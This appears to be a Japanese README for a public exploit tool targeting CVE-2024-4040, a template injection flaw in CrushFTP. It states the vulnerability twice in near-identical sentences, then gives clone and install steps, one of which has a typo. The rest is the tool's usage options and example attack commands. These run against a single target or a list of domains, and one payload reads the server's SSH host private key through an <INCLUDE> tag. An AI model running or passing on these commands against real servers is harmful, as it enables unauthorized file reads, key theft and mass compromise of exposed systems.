
すべてのプラットフォームにおけるCrushFTPのバージョン10.7.1未満および11.1.0未満の全バージョンに存在するサーバーサイドテンプレートインジェクションの脆弱性により、認証されていないリモート攻撃者がVFSサンドボックス外のファイルシステムからファイルを読み取り、認証をバイパスして管理者アクセスを取得し、サーバー上でリモートコード実行を行うことが可能です。
CrushFTP の全バージョン(10.7.1 および 11.1.0 より前)におけるサーバーサイドテンプレートインジェクションの脆弱性により、認証されていないリモート攻撃者が VFS サンドボックス外のファイルシステムからファイルを読み取り、認証をバイパスして管理者権限を取得し、サーバー上でリモートコードを実行することが可能です。
git clone https://github.com/gotr00t0day/CVE-2024-4040.git
cd CVE-2024-4040
pip3 instrall -r requirements.txt
usage: CVE-2024-4040.py [-h] [-t TARGET] [-f FILE] [-d DOMAINS]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target to scan
-f FILE, --file FILE file to fetch
-d DOMAINS, --domains DOMAINS
file containing list of domains
# MAKE SURE YOU USE THE <INCLUDE> TAG OR ANY OTHER TAG TO EXPLOIT THE TARGET, SOMETIMES YOU DONT NEED ANY TAGS.
# Exploit a target
python3 CVE-2024-4040.py -t http://TARGET:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"
# Exploit a list of targets
python3 CVE-2024-4040.py -d ~/list.txt -f %hostname%
このエクスプロイトのより良い理解のために、ATTACKERKB ANALYSIS をお読みください。